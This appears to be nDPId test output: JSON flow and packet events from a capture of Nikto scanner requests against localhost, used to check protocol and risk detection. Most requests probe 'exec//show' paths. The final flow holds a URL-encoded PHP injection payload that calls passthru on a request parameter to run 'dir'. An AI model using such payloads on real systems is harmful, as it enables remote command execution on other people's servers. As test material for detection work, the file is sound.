+00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":636,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":636,"flow_packet_id":1,"flow_first_seen":1576420277719,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50834,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/88\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001335)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":637,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":637,"flow_packet_id":1,"flow_first_seen":1576420277721,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50836,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":637,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":637,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":721292,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIEWBAAEAGKs5\/AAABfwAAAcaUH5BnvihJZne+zoAYAED+vAAAAQEICp1m\/wGdZv8BR0VUIC9sZXZlbC84OS9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzM2KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":637,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":637,"flow_packet_id":1,"flow_first_seen":1576420277721,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50836,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/89\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001336)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":638,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":638,"flow_packet_id":1,"flow_first_seen":1576420277723,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50838,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":638,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":638,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":723030,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIo9hAAEAGmFV\/AAABfwAAAcaWH5BWPprB7Bx1PYAYAED+vAAAAQEICp1m\/wKdZv8CR0VUIC9sZXZlbC85MC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMzcpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":638,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":638,"flow_packet_id":1,"flow_first_seen":1576420277723,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50838,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/90\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001337)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":639,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":639,"flow_packet_id":1,"flow_first_seen":1576420277725,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50840,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":639,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":639,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":725709,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI7YBAAEAGTq1\/AAABfwAAAcaYH5AUj9RqmT7XtIAYAED+vAAAAQEICp1m\/wWdZv8FR0VUIC9sZXZlbC85MS9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzM4KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":639,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":639,"flow_packet_id":1,"flow_first_seen":1576420277725,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50840,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/91\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001338)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":640,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":640,"flow_packet_id":1,"flow_first_seen":1576420277727,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50842,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":640,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":640,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":727031,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIYyZAAEAG2Qd\/AAABfwAAAcaaH5DSD1o0DsX43oAYAED+vAAAAQEICp1m\/wadZv8GR0VUIC9sZXZlbC85Mi9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMzkpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":640,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":640,"flow_packet_id":1,"flow_first_seen":1576420277727,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50842,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/92\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001339)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":641,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":641,"flow_packet_id":1,"flow_first_seen":1576420277729,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50844,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":641,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":641,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":729069,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIxzpAAEAGdPN\/AAABfwAAAcacH5ALNv4hgWKnmoAYAED+vAAAAQEICp1m\/widZv8IR0VUIC9sZXZlbC85My9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzQwKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":641,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":641,"flow_packet_id":1,"flow_first_seen":1576420277729,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50844,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/93\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001340)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":642,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":642,"flow_packet_id":1,"flow_first_seen":1576420277730,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50846,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":642,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":642,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":730717,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIHv9AAEAGHS9\/AAABfwAAAcaeH5AL7Sfmt4JqA4AYAED+vAAAAQEICp1m\/wqdZv8KR0VUIC9sZXZlbC85NC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzNDEpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":642,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":642,"flow_packet_id":1,"flow_first_seen":1576420277730,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50846,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/94\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001341)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":643,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":643,"flow_packet_id":1,"flow_first_seen":1576420277732,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50848,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":643,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":643,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":732327,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIPWZAAEAG\/sd\/AAABfwAAAcagH5BD6AR+QNLU5oAYAED+vAAAAQEICp1m\/wydZv8MR0VUIC9sZXZlbC85NS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzQyKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":643,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":643,"flow_packet_id":1,"flow_first_seen":1576420277732,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50848,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/95\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001342)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":644,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":644,"flow_packet_id":1,"flow_first_seen":1576420277734,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50850,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":644,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":734720,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADISBNAAEAG9Bp\/AAABfwAAAcaiH5A0bnEJpPWxcYAYAED+vAAAAQEICp1m\/w6dZv8OR0VUIC9sZXZlbC85Ni9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzQzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":644,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":644,"flow_packet_id":1,"flow_first_seen":1576420277734,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50850,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/96\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001343)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":645,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":645,"flow_packet_id":1,"flow_first_seen":1576420277736,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50852,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":645,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":736157,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIC2JAAEAGMMx\/AAABfwAAAcakH5C2tzJ7p90VYYAYAED+vAAAAQEICp1m\/xCdZv8PR0VUIC9sZXZlbC85Ny9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzQ0KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":645,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":645,"flow_packet_id":1,"flow_first_seen":1576420277736,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50852,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/97\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001344)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":646,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":646,"flow_packet_id":1,"flow_first_seen":1576420277737,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50854,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":646,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":737571,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIqydAAEAGkQZ\/AAABfwAAAcamH5BRA5JApfKSEYAYAED+vAAAAQEICp1m\/xGdZv8RR0VUIC9sZXZlbC85OC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzNDUpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":646,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":646,"flow_packet_id":1,"flow_first_seen":1576420277737,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50854,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/98\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001345)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":647,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":647,"flow_packet_id":1,"flow_first_seen":1576420277739,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50856,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00638{"flow_id":647,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":739161,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI+OxAAEAGQ0F\/AAABfwAAAcaoH5BlRMHxT\/ad\/4AYAED+vAAAAQEICp1m\/xOdZv8SR0VUIC9sZXZlbC85OS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzQ2KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":647,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":647,"flow_packet_id":1,"flow_first_seen":1576420277739,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50856,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/99\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001346)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":648,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":648,"flow_packet_id":1,"flow_first_seen":1576420277741,"flow_last_seen":0,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":329,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":329,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50858,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00834{"flow_id":648,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":648,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":741202,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":363,"pkt_l4_len":329,"pkt":"AAAAAAAAAAAAAAAACABFAAFdQfFAAEAG+ad\/AAABfwAAAcaqH5DRIHj1tdpDy4AYAED\/UQAAAQEICp1m\/xWdZv8VR0VUIC9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM4OCkNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":648,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":648,"flow_packet_id":1,"flow_first_seen":1576420277741,"flow_last_seen":0,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":329,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":329,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50858,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001388)"}} 